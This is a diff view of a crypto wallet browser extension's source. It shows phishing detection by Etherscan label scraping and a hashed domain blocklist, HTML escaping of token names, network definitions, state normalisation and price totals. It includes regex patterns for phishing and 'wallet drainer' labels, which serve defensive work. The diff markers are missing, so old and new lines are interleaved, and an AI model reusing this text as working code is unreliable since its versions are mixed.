const results = new Map();
await Promise.all(
addresses.map(async (addr) => {
results.set(addr, await resolveEnsName(addr, rpcUrl, networkId));
results.set(addr, await resolveEnsName(addr, rpcUrl));
}),
);
return results;

View File

@@ -1,107 +0,0 @@
// Etherscan address label lookup via page scraping.
// Extension users make the requests directly to Etherscan — no proxy needed.
// This is a best-effort enrichment: network failures return null silently.
// Patterns in the page title that indicate a flagged address.
// Title format: "Fake_Phishing184810 | Address: 0x... | Etherscan"
const PHISHING_LABEL_PATTERNS = [/^Fake_Phishing/i, /^Phish:/i, /^Exploiter/i];
// Patterns in the page body that indicate a scam/phishing warning.
const SCAM_BODY_PATTERNS = [
/used in a\s+(?:\w+\s+)?phishing scam/i,
/used in a\s+(?:\w+\s+)?scam/i,
/wallet\s+drainer/i,
];
/**
* Parse the Etherscan address page HTML to extract label info.
* Exported for unit testing (no fetch needed).
*
* @param {string} html - Raw HTML of the Etherscan address page.
* @returns {{ label: string|null, isPhishing: boolean, warning: string|null }}
*/
function parseEtherscanPage(html) {
// Extract <title> content
const titleMatch = html.match(/<title[^>]*>([^<]+)<\/title>/i);
let label = null;
let isPhishing = false;
let warning = null;
if (titleMatch) {
const title = titleMatch[1].trim();
// Title: "LABEL | Address: 0x... | Etherscan" or "Address: 0x... | Etherscan"
const labelMatch = title.match(/^(.+?)\s*\|\s*Address:/);
if (labelMatch) {
const candidate = labelMatch[1].trim();
// Only treat as a label if it's not just "Address" (unlabeled addresses)
if (candidate.toLowerCase() !== "address") {
label = candidate;
}
}
}
// Check label against phishing patterns
if (label) {
for (const pat of PHISHING_LABEL_PATTERNS) {
if (pat.test(label)) {
isPhishing = true;
warning = `Etherscan labels this address as "${label}" (Phish/Hack).`;
break;
}
}
}
// Check page body for scam warning banners
if (!isPhishing) {
for (const pat of SCAM_BODY_PATTERNS) {
if (pat.test(html)) {
isPhishing = true;
warning = label
? `Etherscan labels this address as "${label}" and reports it was used in a scam.`
: "Etherscan reports this address was flagged for phishing/scam activity.";
break;
}
}
}
return { label, isPhishing, warning };
}
/**
* Fetch an address page from Etherscan and check for scam/phishing labels.
* Returns a warning object if the address is flagged, or null.
* Network failures return null silently (best-effort check).
*
* Uses the current network's explorer URL so the lookup works on both
* mainnet (etherscan.io) and Sepolia (sepolia.etherscan.io).
*
* @param {string} address - Ethereum address to check.
* @returns {Promise<{type: string, message: string, severity: string}|null>}
*/
async function checkEtherscanLabel(address) {
try {
// Lazy require to avoid pulling in chrome.storage at module scope
// (which breaks unit tests that only exercise parseEtherscanPage).
const { currentNetwork } = require("./state");
const etherscanBase = currentNetwork().explorerUrl + "/address/";
const resp = await fetch(etherscanBase + address, {
headers: { Accept: "text/html" },
});
if (!resp.ok) return null;
const html = await resp.text();
const result = parseEtherscanPage(html);
if (result.isPhishing) {
return {
type: "etherscan-phishing",
message: result.warning,
severity: "critical",
};
}
return null;
} catch {
// Network errors are expected — Etherscan may rate-limit or block.
return null;
}
}
module.exports = { parseEtherscanPage, checkEtherscanLabel };

View File

@@ -1,32 +0,0 @@
// Holder counts, and the one rule that decides whether a count is "low".
//
// The block explorer's holders_count is optional: it is absent on a token it
// has only just indexed, and it goes missing on a degraded or changed API.
// Absent means the count is unknown. It does not mean the token has no
// holders, and collapsing the two hides a token the user really holds as if
// it were spam. Every call site reads the count through here so the
// distinction cannot be lost again in one place while holding in the others.
const LOW_HOLDER_THRESHOLD = 1000;
// Parse an explorer-supplied holders_count into a number, or null when the
// explorer did not report one. Anything unparseable is unknown too: a count
// we cannot read is not a count of zero.
function parseHoldersCount(raw) {
if (raw === null || raw === undefined || raw === "") return null;
const n = parseInt(raw, 10);
return Number.isFinite(n) ? n : null;
}
// True only for a token the explorer reported as having fewer holders than
// the threshold. An unknown count is never low: showing a spam token the
// user can see is unusual costs less than hiding an asset they own.
function isLowHolderCount(holders) {
return holders != null && holders < LOW_HOLDER_THRESHOLD;
}
module.exports = {
LOW_HOLDER_THRESHOLD,
parseHoldersCount,
isLowHolderCount,
};

View File

@@ -1,41 +0,0 @@
// HTML escaping for values interpolated into an innerHTML string.
//
// Every view in src/popup/views/ builds markup by string concatenation, so
// this is the only thing standing between a value the wallet did not author
// and the extension's own DOM. The values that reach it are attacker
// controlled by design: an ERC-20's symbol() and name() are whatever the
// contract chooses to return, an ENS name is whatever the resolver returns,
// and both arrive through the block explorer with no schema.
//
// It escapes both quote characters as well as the tag delimiters, because
// the popup interpolates into attribute values as well as into element
// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
// break-out intact, and the round trip through a detached element's
// textContent that used to implement this was exactly that escape: the
// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
// since a text node has no idea it is about to be pasted inside quotes.
//
// Deliberately a pure string function with no DOM dependency: it is called
// on every rendered row, it is unit-testable without a document, and it
// cannot be affected by the state of a document that an attacker-supplied
// string has already been written into.
const HTML_ESCAPES = {
"&": "&amp;",
"<": "&lt;",
">": "&gt;",
'"': "&quot;",
"'": "&#39;",
};
// `&` is escaped first by virtue of being in the same pass: a sequential
// replace would re-escape the ampersands it had just introduced.
function escapeHtml(s) {
if (s === null || s === undefined) return "";
return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
}
module.exports = {
escapeHtml,
};

View File

@@ -1,27 +1,12 @@
// Leveled logger. Outputs to console with [AutistMask] prefix.
// Level is DEBUG when the compile-time DEBUG constant is true or the runtime
// debugMode state flag is enabled. The runtime flag is checked lazily so it
// responds immediately when toggled in settings.
// Level is DEBUG when the DEBUG constant is true, INFO otherwise.
const { DEBUG } = require("./constants");
const LEVELS = { debug: 0, info: 1, warn: 2, error: 3 };
// Runtime debug mode flag — set by settings.js when the user toggles debug
// mode via the easter egg. Kept here as a simple mutable reference so it can
// be updated without circular dependency issues with state.js.
let _runtimeDebug = false;
function setRuntimeDebug(enabled) {
_runtimeDebug = enabled;
}
function isDebug() {
return DEBUG || _runtimeDebug;
}
const threshold = DEBUG ? LEVELS.debug : LEVELS.info;
function emit(level, method, args) {
const threshold = isDebug() ? LEVELS.debug : LEVELS.info;
if (LEVELS[level] >= threshold) {
console[method]("[AutistMask]", ...args);
}
@@ -52,4 +37,4 @@ async function debugFetch(url, opts) {
return resp;
}
module.exports = { log, debugFetch, setRuntimeDebug, isDebug };
module.exports = { log, debugFetch };

View File

@@ -1,93 +0,0 @@
// Network definitions for supported Ethereum networks.
// Each network specifies its chain ID, default RPC and Blockscout endpoints,
// and the block explorer base URL used for address/tx/token/block links.
const NETWORKS = {
mainnet: {
id: "mainnet",
name: "Ethereum Mainnet",
chainId: "0x1",
networkVersion: "1",
nativeCurrency: "ETH",
defaultRpcUrl: "https://ethereum-rpc.publicnode.com",
defaultBlockscoutUrl: "https://eth.blockscout.com/api/v2",
explorerUrl: "https://etherscan.io",
isTestnet: false,
},
sepolia: {
id: "sepolia",
name: "Sepolia Testnet",
chainId: "0xaa36a7",
networkVersion: "11155111",
nativeCurrency: "SepoliaETH",
defaultRpcUrl: "https://ethereum-sepolia-rpc.publicnode.com",
defaultBlockscoutUrl: "https://eth-sepolia.blockscout.com/api/v2",
explorerUrl: "https://sepolia.etherscan.io",
isTestnet: true,
},
};
const SUPPORTED_CHAIN_IDS = new Set(
Object.values(NETWORKS).map((n) => n.chainId),
);
// Thrown rather than defaulted. An id this build does not know used to answer
// with MAINNET, so a stored `{networkId:"base"}` rendered the selector as
// Ethereum Mainnet with no banner and answered eth_chainId 0x1, while rpcUrl
// still pointed at Base — the wallet telling the user and the page one chain
// while transacting on another. Nothing in this codebase has an unknown id to
// offer: stored state is validated against this table before it is loaded
// (src/shared/stateSchema.js), and every other caller passes an id it took
// from here. So an unknown id is a defect, and it says so, the same way
// getProvider() (src/shared/balances.js) already refuses one.
class UnknownNetworkError extends Error {
constructor(id) {
super(
"AutistMask does not know the network " +
JSON.stringify(id) +
"; it supports " +
Object.keys(NETWORKS).join(", "),
);
this.name = "UnknownNetworkError";
this.networkId = id;
}
}
// Own properties only: NETWORKS inherits from Object.prototype, so
// NETWORKS["constructor"] and NETWORKS["__proto__"] both answer with something
// truthy that is not a network. A stored id is untrusted input, and this is
// the test the validator uses to decide whether it may be adopted at all.
function isKnownNetworkId(id) {
return (
typeof id === "string" &&
Object.prototype.hasOwnProperty.call(NETWORKS, id)
);
}
function networkById(id) {
if (!isKnownNetworkId(id)) throw new UnknownNetworkError(id);
return NETWORKS[id];
}
function networkByChainId(chainId) {
for (const net of Object.values(NETWORKS)) {
if (net.chainId === chainId) return net;
}
return null;
}
// Build a block explorer link for the given path type and value.
// type: "address" | "tx" | "token" | "block"
function explorerLink(network, type, value) {
return `${network.explorerUrl}/${type}/${value}`;
}
module.exports = {
NETWORKS,
SUPPORTED_CHAIN_IDS,
UnknownNetworkError,
isKnownNetworkId,
networkById,
networkByChainId,
explorerLink,
};

View File

@@ -1,310 +0,0 @@
// The shape of the persisted profile, and the normalization every read of it
// goes through. No singleton, no storage access, no browser API: just the
// record definition and pure functions over it.
//
// Split out of state.js so that a context which must never touch the
// module-level `state` singleton can still speak the same record format.
// src/background/state.js is that context — the MV3 service worker never
// populates the singleton, and every defect in
// https://git.eeqj.de/sneak/AutistMask/issues/324 came from background code
// reaching it anyway and being served DEFAULT_STATE.
const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
const { isKnownNetworkId } = require("./networks");
const { STATE_SCHEMA_VERSION } = require("./stateSchema");
// Dependency-free constant module. It lives under src/shared/ rather than
// src/popup/ precisely because this module is in the background bundle: a
// popup-path module reached from the worker is the shape the prohibition in
// script/lib/forbiddenBundleInputs.js exists to keep out, even when the
// particular module is harmless.
const { RESTORABLE_VIEWS } = require("./restorableViews");
const DEFAULT_STATE = {
hasWallet: false,
wallets: [],
trackedTokens: [],
networkId: "mainnet",
rpcUrl: DEFAULT_RPC_URL,
blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
// Endpoints remembered per network: { [networkId]: { rpcUrl,
// blockscoutUrl } }. rpcUrl/blockscoutUrl above are the live endpoints
// of the active network; this is what the others are restored from
// when the active network changes. See applyChainSwitchFields().
networkEndpoints: {},
lastBalanceRefresh: 0,
activeAddress: null,
allowedSites: {},
deniedSites: {},
rememberSiteChoice: true,
showZeroBalanceTokens: true,
hideSpoofedSymbols: true,
hideLowHolderTokens: true,
hideFraudContracts: true,
hideDustTransactions: true,
dustThresholdGwei: 100000,
utcTimestamps: false,
fraudContracts: [],
tokenHolderCache: {},
theme: "system",
debugMode: false,
};
// Every field written to and read from the single "autistmask" storage key.
// hasWallet is deliberately excluded from the diffing/merge logic in
// state.js — like loadState() does, it is always derived from `wallets`,
// never carried as an independent value. schemaVersion is excluded for the
// same reason and is absent from DEFAULT_STATE for it: it describes the
// record rather than being part of it, and every write stamps the current
// value rather than diffing whatever was read.
const PERSISTED_FIELDS = Object.keys(DEFAULT_STATE)
.filter((key) => key !== "hasWallet")
.concat([
"currentView",
"selectedWallet",
"selectedAddress",
"selectedToken",
"viewData",
"viewStack",
]);
function isRecord(value) {
return typeof value === "object" && value !== null && !Array.isArray(value);
}
// A list of token references, as everything downstream dereferences them:
// `t.address.toLowerCase()`, with no guard of its own (src/shared/balances.js,
// src/popup/views/helpers.js, and every view that shows a balance line).
//
// Both the container AND the entries, because they are separate defects. A
// container check alone leaves a well-formed list of malformed entries walking
// through to a dereference one level below the check, which is the same blank
// popup: `[1, 2]` and `[{}]` are lists.
//
// A malformed entry is DROPPED rather than repaired: a token reference with no
// address identifies nothing, so there is no value to repair it to, and the
// alternative — refusing the whole record — sends a user whose wallets are
// perfectly readable to an export-or-erase screen over a token list. An entry
// that is a record with a text address is kept verbatim, extra fields and all.
//
// Verbatim is load-bearing for the fields BESIDE the address. A tokenBalances
// entry carries `decimals: null` and `balance: null` when nothing knows the
// token's scale (src/shared/balances.js,
// https://git.eeqj.de/sneak/AutistMask/issues/349), and those nulls are the
// record that the value is unknown. Only `address` decides whether an entry
// survives, so an unknown-scale holding is kept — flooring a null here to some
// default would put the guess back one layer down from where it was removed.
function tokenRefs(value) {
if (!Array.isArray(value)) return [];
return value.filter(
(entry) => isRecord(entry) && typeof entry.address === "string",
);
}
// Keep only the leading run of stored views the popup is willing to render.
//
// restoreView() refuses to reopen ONTO a non-restorable view, but the stack
// behind it used to be restored verbatim, so Back could walk onto a screen
// whose content is deliberately never re-rendered — and "show-phrase" has no
// Back control to leave by. Truncating at the first such entry instead of
// splicing it out keeps the result a prefix of the stored stack, so every
// surviving entry's Back target is exactly the one it had; splicing would
// silently re-point the entry above the hole at a different screen.
//
// Filtering happens here on load rather than in saveState(): the live
// in-session stack is legitimate (the screen really is rendered while the
// popup is open), and only a load-side filter also repairs the stacks
// already in storage, including ones written before a view left the set.
function restorableStack(stored, currentView) {
// A stored stack that is missing or not an array keeps nothing, but it
// still goes through the never-empty rule below rather than returning
// early: otherwise a corrupt stack would depend on exactly the goBack()
// fallback that the explicit ["main"] exists in order not to depend on.
const source = Array.isArray(stored) ? stored : [];
const cut = source.findIndex((view) => !RESTORABLE_VIEWS.has(view));
const kept = cut === -1 ? source.slice() : source.slice(0, cut);
// A view restored below the root still needs somewhere for Back to go.
if (
kept.length === 0 &&
currentView !== "main" &&
RESTORABLE_VIEWS.has(currentView)
) {
return ["main"];
}
return kept;
}
// Turn a raw stored (or missing) record into the full, defaulted shape
// loadState() used to assign directly onto `state`. A pure function so that
// saveState() can apply it too: the fields THIS page did not change still have
// to come from storage in their loaded-and-normalized form, not as the raw
// bytes another page (or an old release) left there — otherwise a legacy shape
// a load has always self-healed in memory (a missing networkEndpoints map, an
// out-of-range flag) is dropped right back into storage unfixed every time the
// page that DID normalize it saves something unrelated, because that field's
// value never "changed" for that page to notice.
//
// The result never shares structure with `saved`, so a caller may mutate it
// freely: it is the detached record every per-call read in the background is
// built on.
function normalizePersisted(saved) {
saved = saved || {};
const out = {};
// Every write goes out at the current version. That IS the migration for
// the unversioned records every install in the field holds: version 1 is
// the shape that shipped unversioned, so a record that validated is
// carried forward simply by being stamped. A record this build does NOT
// understand never reaches here — assertStateUsable() refuses it on the
// read path first (src/shared/stateSchema.js).
out.schemaVersion = STATE_SCHEMA_VERSION;
out.wallets = structuredClone(saved.wallets || []);
// Derived, never trusted verbatim off storage — see loadState().
out.hasWallet = out.wallets.length > 0;
// Each address's token holdings, floored to a list of token records on the
// detached copy above. Every reader iterates it behind a `|| []` that only
// covers an ABSENT value, and then dereferences `t.address.toLowerCase()`
// and `t.balance` — so a stored string iterates as characters, a number
// throws on the iterator, and a null entry throws on the field.
//
// This field specifically, because refreshBalances() writes it WHOLESALE
// rather than merging into it: a write that only partly lands is the live
// cause https://git.eeqj.de/sneak/AutistMask/issues/311 names, and this is
// where it lands. The wallet list itself is the gate's (stateSchema.js);
// what is below an address record is not, and gets floored here.
if (Array.isArray(out.wallets)) {
for (const wallet of out.wallets) {
if (!isRecord(wallet) || !Array.isArray(wallet.addresses)) continue;
for (const addr of wallet.addresses) {
if (!isRecord(addr)) continue;
addr.tokenBalances = tokenRefs(addr.tokenBalances);
}
}
}
// An actual list of token records is required, not merely a truthy value
// and not merely a list: everything downstream iterates this and
// dereferences `token.address`, so a stored string or object walks through
// a `|| []`, and a list of numbers walks through an Array.isArray(), and
// both throw on the first read — the blank popup from the issue, for a
// profile whose wallets are perfectly fine. An empty list is a legitimate
// value and survives.
out.trackedTokens = structuredClone(tokenRefs(saved.trackedTokens));
// The loud refusal for an unknown id is assertStateUsable(); this is the
// floor under it. networkId is an object KEY into networkEndpoints below,
// so a value that is not a network in networks.js must never get that far
// — "__proto__" would set the map's prototype instead of an own key, and
// the user's endpoint would silently not be recorded.
out.networkId = isKnownNetworkId(saved.networkId)
? saved.networkId
: DEFAULT_STATE.networkId;
out.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
out.blockscoutUrl = saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
// An actual object is required, not merely a truthy non-array: the code
// below and applyChainSwitchFields() index and ASSIGN INTO this value, and
// assigning a property to a string or a number is a silent no-op in
// sloppy mode. Copied rather than referenced, nested pairs included, so
// normalizing never mutates the object a caller handed in.
const rawEndpoints =
typeof saved.networkEndpoints === "object" &&
saved.networkEndpoints !== null &&
!Array.isArray(saved.networkEndpoints)
? saved.networkEndpoints
: {};
out.networkEndpoints = {};
for (const netId of Object.keys(rawEndpoints)) {
// defineProperty, not assignment: a stored map with an own
// "__proto__" key — which JSON can carry and assignment treats as the
// prototype setter — would otherwise replace this object's prototype
// and record no entry at all. Keys other than the known network ids
// are kept rather than dropped, so a profile that has been on a build
// with more networks does not lose their endpoints by passing through
// this one.
Object.defineProperty(out.networkEndpoints, netId, {
value: { ...rawEndpoints[netId] },
writable: true,
enumerable: true,
configurable: true,
});
}
// A profile written before this map existed carries exactly one pair of
// endpoints, belonging to whatever network it was last on. Adopt it as
// that network's remembered pair, so a custom endpoint set on the old
// build is not lost by the first switch away and back.
if (!out.networkEndpoints[out.networkId]) {
out.networkEndpoints[out.networkId] = {
rpcUrl: out.rpcUrl,
blockscoutUrl: out.blockscoutUrl,
};
}
out.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
// A non-empty address, or null, never anything else: this is passed to
// address.slice() and compared against stored addresses, so a stored
// number or object walks through a `|| null` and throws on the first
// render. The empty string is text but it is not an address, and it must
// become null rather than survive: init() auto-selects the first address
// only on a STRICT null, so a stored "" would leave the popup with no
// address ever selected. Nothing in src/ writes one, and this keeps the
// behaviour the `|| null` this check replaced already had.
out.activeAddress =
typeof saved.activeAddress === "string" && saved.activeAddress !== ""
? saved.activeAddress
: null;
out.allowedSites =
saved.allowedSites && !Array.isArray(saved.allowedSites)
? structuredClone(saved.allowedSites)
: {};
out.deniedSites =
saved.deniedSites && !Array.isArray(saved.deniedSites)
? structuredClone(saved.deniedSites)
: {};
out.rememberSiteChoice =
saved.rememberSiteChoice !== undefined
? saved.rememberSiteChoice
: true;
out.showZeroBalanceTokens =
saved.showZeroBalanceTokens !== undefined
? saved.showZeroBalanceTokens
: true;
// A profile written before this setting existed has no key for it. It
// is a safety filter, so absent must load as on, not as undefined.
out.hideSpoofedSymbols =
saved.hideSpoofedSymbols !== undefined
? saved.hideSpoofedSymbols
: true;
out.hideLowHolderTokens =
saved.hideLowHolderTokens !== undefined
? saved.hideLowHolderTokens
: true;
out.hideFraudContracts =
saved.hideFraudContracts !== undefined
? saved.hideFraudContracts
: true;
out.hideDustTransactions =
saved.hideDustTransactions !== undefined
? saved.hideDustTransactions
: true;
out.dustThresholdGwei =
saved.dustThresholdGwei !== undefined
? saved.dustThresholdGwei
: 100000;
out.utcTimestamps =
saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
out.fraudContracts = structuredClone(saved.fraudContracts || []);
out.tokenHolderCache = structuredClone(saved.tokenHolderCache || {});
out.theme = saved.theme || "system";
out.debugMode = saved.debugMode !== undefined ? saved.debugMode : false;
out.currentView = saved.currentView || null;
out.selectedWallet =
saved.selectedWallet !== undefined ? saved.selectedWallet : null;
out.selectedAddress =
saved.selectedAddress !== undefined ? saved.selectedAddress : null;
out.selectedToken = saved.selectedToken || null;
out.viewData = structuredClone(saved.viewData || {});
out.viewStack = restorableStack(saved.viewStack, out.currentView);
return out;
}
module.exports = {
DEFAULT_STATE,
PERSISTED_FIELDS,
normalizePersisted,
restorableStack,
};

File diff suppressed because one or more lines are too long

View File

@@ -1,158 +0,0 @@
// Domain-based phishing detection against a blocklist vendored at build time.
//
// The list is produced by script/vendor-blocklist from a hash-pinned upstream
// commit, committed as phishingBlocklist.json, and bundled. There is no runtime
// fetch: the extension asks nobody anything to answer this question, so no third
// party learns which sites a user connects to, and no third party decides what
// this wallet warns about. The cost is staleness — the shipped list is exactly
// as fresh as the last vendoring run that was released — and the refresh path is
// re-running that script and shipping the diff.
//
// The artifact holds digests, not domains: sha256 truncated to 64 bits, one
// entry per 16 hex characters, concatenated in sorted order into a single
// string (see domainHash.js). Three things follow from that shape, and all
// three are the reason for it:
//
// - the extension ships no plaintext list of anyone's domain names, which is
// what makes a blocklist assembled elsewhere shippable here at all.
// - a lookup is a binary search over that string. Nothing is built at module
// load, which matters because the MV3 service worker is torn down when idle
// and re-evaluates this file on every wake.
// - the file is 1.7 MB rather than 8.7 MB.
//
// Nothing here is async: callers answer an approval prompt with the result.
const vendored = require("./phishingBlocklist.json");
const { HASH_ALGORITHM, HASH_HEX_CHARS, hashDomain } = require("./domainHash");
// The artifact is generated, so a shape it does not have is a build fault, not
// a runtime condition. It is checked anyway, and loudly, because every way of
// getting it wrong — a stale format, a truncated file, a different digest —
// produces a blocklist that matches nothing at all while looking perfectly
// healthy. A phishing check that silently answers "no" to everything is the one
// failure this module must not have.
function checkArtifact(a) {
const bad = (why) =>
new Error(
"phishingBlocklist.json " +
why +
". It is generated by script/vendor-blocklist; re-run that " +
"rather than editing it.",
);
if (!a || typeof a !== "object") throw bad("is not an object");
if (a.algorithm !== HASH_ALGORITHM) {
throw bad(
"declares algorithm " +
JSON.stringify(a.algorithm) +
", but this build hashes with " +
HASH_ALGORITHM,
);
}
if (a.hashHexChars !== HASH_HEX_CHARS) {
throw bad(
"declares " +
JSON.stringify(a.hashHexChars) +
" hex characters per entry, but this build produces " +
HASH_HEX_CHARS,
);
}
if (typeof a.hashes !== "string") throw bad("has no hashes string");
if (!Number.isInteger(a.count) || a.count < 1) {
throw bad("declares no usable entry count");
}
if (a.hashes.length !== a.count * HASH_HEX_CHARS) {
throw bad(
"holds " +
a.hashes.length +
" hex characters, which is not the " +
a.count * HASH_HEX_CHARS +
" its count of " +
a.count +
" entries requires",
);
}
}
checkArtifact(vendored);
const HASHES = vendored.hashes;
const COUNT = vendored.count;
/**
* Is this digest one of the vendored entries?
*
* Binary search over fixed-width records. The digests are lowercase hex of one
* width, so lexicographic order is numeric order and the artifact is written
* sorted; tests assert that ordering against the committed file, because an
* unsorted artifact would fail lookups silently rather than loudly.
*
* @param {string} hash
* @returns {boolean}
*/
function hashListed(hash) {
let lo = 0;
let hi = COUNT - 1;
while (lo <= hi) {
const mid = (lo + hi) >> 1;
const at = HASHES.slice(
mid * HASH_HEX_CHARS,
(mid + 1) * HASH_HEX_CHARS,
);
if (at === hash) return true;
if (at < hash) lo = mid + 1;
else hi = mid - 1;
}
return false;
}
/**
* Generate hostname variants for subdomain matching.
* "sub.evil.com" yields ["sub.evil.com", "evil.com"].
*
* @param {string} hostname
* @returns {string[]}
*/
function hostnameVariants(hostname) {
const h = hostname.toLowerCase();
const variants = [h];
const parts = h.split(".");
// Parent domains: a.b.c.d -> b.c.d, c.d
for (let i = 1; i < parts.length - 1; i++) {
variants.push(parts.slice(i).join("."));
}
return variants;
}
/**
* Check if a hostname is on the phishing blocklist.
*
* @param {string} hostname - The hostname to check.
* @returns {boolean}
*/
function isPhishingDomain(hostname) {
if (!hostname) return false;
for (const variant of hostnameVariants(hostname)) {
if (hashListed(hashDomain(variant))) return true;
}
return false;
}
/**
* Return the blocklist size for diagnostics.
*
* @returns {number}
*/
function getBlocklistSize() {
return COUNT;
}
module.exports = {
isPhishingDomain,
getBlocklistSize,
hostnameVariants,
// Exposed for testing only: the ends of the search range are where an
// off-by-one hides, and reaching them through isPhishingDomain() would mean
// knowing which domain hashes to the first or last entry.
_hashListed: hashListed,
};

View File

@@ -8,37 +8,18 @@ const prices = {};
let lastFetchedAt = 0;
async function refreshPrices() {
// Testnet tokens have no real market value — skip price fetching
// and clear any stale mainnet prices so the UI shows no USD values.
const { currentNetwork } = require("./state");
if (currentNetwork().isTestnet) {
clearPrices();
return;
}
const now = Date.now();
if (now - lastFetchedAt < PRICE_CACHE_TTL) return;
try {
const fetched = await getTopTokenPrices(25);
Object.assign(prices, fetched);
lastFetchedAt = now;
} catch {
} catch (e) {
// prices stay stale on error
}
}
// Clear all cached prices and reset the fetch timestamp so the
// next refreshPrices() call will fetch fresh data.
function clearPrices() {
for (const key of Object.keys(prices)) {
delete prices[key];
}
lastFetchedAt = 0;
}
// Return the USD price for a symbol, or null on testnet / unknown.
function getPrice(symbol) {
const { currentNetwork } = require("./state");
if (currentNetwork().isTestnet) return null;
return prices[symbol] || null;
}
@@ -55,96 +36,44 @@ function formatUsd(amount) {
);
}
// What an address is worth, as { usd, partial }.
//
// Prices are fetched for the top 25 tokens only, so an address can hold real
// assets this code has no price for. Adding up the priced ones and calling the
// result the total states a number the holdings do not support: an address
// holding nothing but unpriced tokens comes out at $0.00, which tells the user
// their address is worth nothing when it may hold a great deal. Worth zero and
// worth an unknown amount are separate facts and get separate fields, the same
// way an absent holders_count is not a count of zero.
//
// usd: the value of the holdings a price is known for, or null when
// nothing is knowable at all — testnet, or before the first fetch.
// partial: the address also holds a token with no price, so usd is a floor
// and not the total.
//
// Render it through formatAddressTotal() rather than reading usd alone.
function getAddressValue(addr) {
const { currentNetwork } = require("./state");
if (currentNetwork().isTestnet) return { usd: null, partial: false };
if (!prices.ETH) return { usd: null, partial: false };
let usd = parseFloat(addr.balance || "0") * prices.ETH;
let partial = false;
function getAddressValueUsd(addr) {
if (!prices.ETH) return null;
let total = 0;
const ethBal = parseFloat(addr.balance || "0");
total += ethBal * prices.ETH;
for (const token of addr.tokenBalances || []) {
// A null balance is a holding whose scale nothing knows, so it has no
// quantity to price — but it is still a holding, and a total that
// silently omits it would read as complete. That is exactly what
// `partial` is for (https://git.eeqj.de/sneak/AutistMask/issues/349).
if (token.balance == null) {
partial = true;
continue;
}
const tokenBal = parseFloat(token.balance);
// A balance of zero is not a holding: it can neither add to the total
// nor make it incomplete. Anything that is not a number at all is not
// a holding this can price either, and is left to the same rule.
if (!(tokenBal > 0)) continue;
if (prices[token.symbol]) {
usd += tokenBal * prices[token.symbol];
} else {
partial = true;
const tokenBal = parseFloat(token.balance || "0");
if (tokenBal > 0 && prices[token.symbol]) {
total += tokenBal * prices[token.symbol];
}
}
return { usd, partial };
return total;
}
// The same pair for a whole wallet, and for every wallet at once. One
// unpriced holding anywhere makes the sum a floor, so partial carries up.
function getWalletValue(wallet) {
return sumValues(wallet.addresses.map(getAddressValue));
function getWalletValueUsd(wallet) {
if (!prices.ETH) return null;
let total = 0;
for (const addr of wallet.addresses) {
total += getAddressValueUsd(addr);
}
return total;
}
function getTotalValue(wallets) {
return sumValues(wallets.map(getWalletValue));
function getTotalValueUsd(wallets) {
if (!prices.ETH) return null;
let total = 0;
for (const wallet of wallets) {
total += getWalletValueUsd(wallet);
}
function sumValues(values) {
let usd = null;
let partial = false;
for (const value of values) {
if (value.usd === null) continue;
usd = (usd === null ? 0 : usd) + value.usd;
partial = partial || value.partial;
}
return { usd, partial };
}
// The one rendering of an address total, so no screen says it differently.
//
// A partial total is shown and named as partial: the figure is the ETH and
// priced tokens the user does hold, which is worth having, and suppressing it
// would throw away a number that is correct as far as it goes. What is never
// shown is a figure covering no holdings at all — the $0.00 sum of an empty
// set beside a list of tokens is the bug this replaces.
function formatAddressTotal(value) {
if (!value || value.usd === null) return "";
if (!value.partial) return "Total: " + formatUsd(value.usd);
if (value.usd > 0) {
return "Total: " + formatUsd(value.usd) + " plus unpriced tokens";
}
return "Total: unpriced tokens only";
return total;
}
module.exports = {
prices,
refreshPrices,
clearPrices,
getPrice,
formatUsd,
formatAddressTotal,
getAddressValue,
getWalletValue,
getTotalValue,
getAddressValueUsd,
getWalletValueUsd,
getTotalValueUsd,
};

View File

@@ -1,41 +0,0 @@
// Views the popup may reopen onto.
//
// The popup persists the current view so that reopening the toolbar popup
// lands the user back where they were. Only views that can be fully
// re-rendered from persisted state belong here; every other view falls back
// to the nearest restorable parent (src/popup/index.js restoreView()).
//
// A view that displays a secret must NEVER be listed. Restoring onto one
// would put a private key or a recovery phrase on screen with no password
// prompt in front of it, on a popup the user may have reopened by accident.
// That is why "export-privkey" and "show-phrase" are absent.
//
// Nor may a view whose button destroys a wallet be listed, for the mirror
// reason: a popup reopened by accident must not land on the screen that
// erases key material. That is why "delete-wallet-confirm" and
// "delete-wallet-lost-password" are absent.
//
// Kept in its own module, with no dependencies, so tests can assert the
// exclusion directly rather than trusting a reading of the popup entry
// point.
//
// It sits under src/shared/ rather than src/popup/ because
// src/shared/persistedState.js needs it and that module is in the BACKGROUND
// bundle: a popup-path module reached from the worker is the shape
// script/lib/forbiddenBundleInputs.js exists to keep out, whether or not the
// particular module is harmless.
const RESTORABLE_VIEWS = new Set([
"main",
"address",
"address-token",
"receive",
"settings",
"settings-addtoken",
"confirm-tx",
"transaction",
"wait-tx",
"success-tx",
"error-tx",
]);
module.exports = { RESTORABLE_VIEWS };

File diff suppressed because it is too large Load Diff

View File

@@ -1,569 +1,125 @@
// State management and extension storage persistence.
//
// The `state` export is a module-level singleton: ONE in-memory copy of the
// profile per bundle, loaded once by loadState() and mutated in place from
// then on. That is the popup's model — one page, one load at boot, one
// lifetime.
//
// It is NOT the background's model, and the background must not reach it. The
// MV3 service worker is torn down when idle and revived by the next message,
// nothing loads state at module scope, and an unpopulated read used to hand
// back DEFAULT_STATE with no complaint — five defects came out of that one
// fact (https://git.eeqj.de/sneak/AutistMask/issues/324). Two things close it:
// this module is unreachable from the background bundle, and reading a
// persisted field of the singleton before a load now THROWS instead of quietly
// serving a default.
//
// The unreachability is enforced by the BUILD. build.js fails when esbuild's
// own metafile reports this module as an input of a background bundle — the
// resolution the shipped file was built from, so no specifier syntax gets past
// it — from the table in script/lib/forbiddenBundleInputs.js, which also
// records what that does and does not cover. The ESLint rule that reports the
// same thing in the editor is fast feedback in front of the build, not the
// guarantee.
const { networkById } = require("./networks");
const {
DEFAULT_STATE,
PERSISTED_FIELDS,
normalizePersisted,
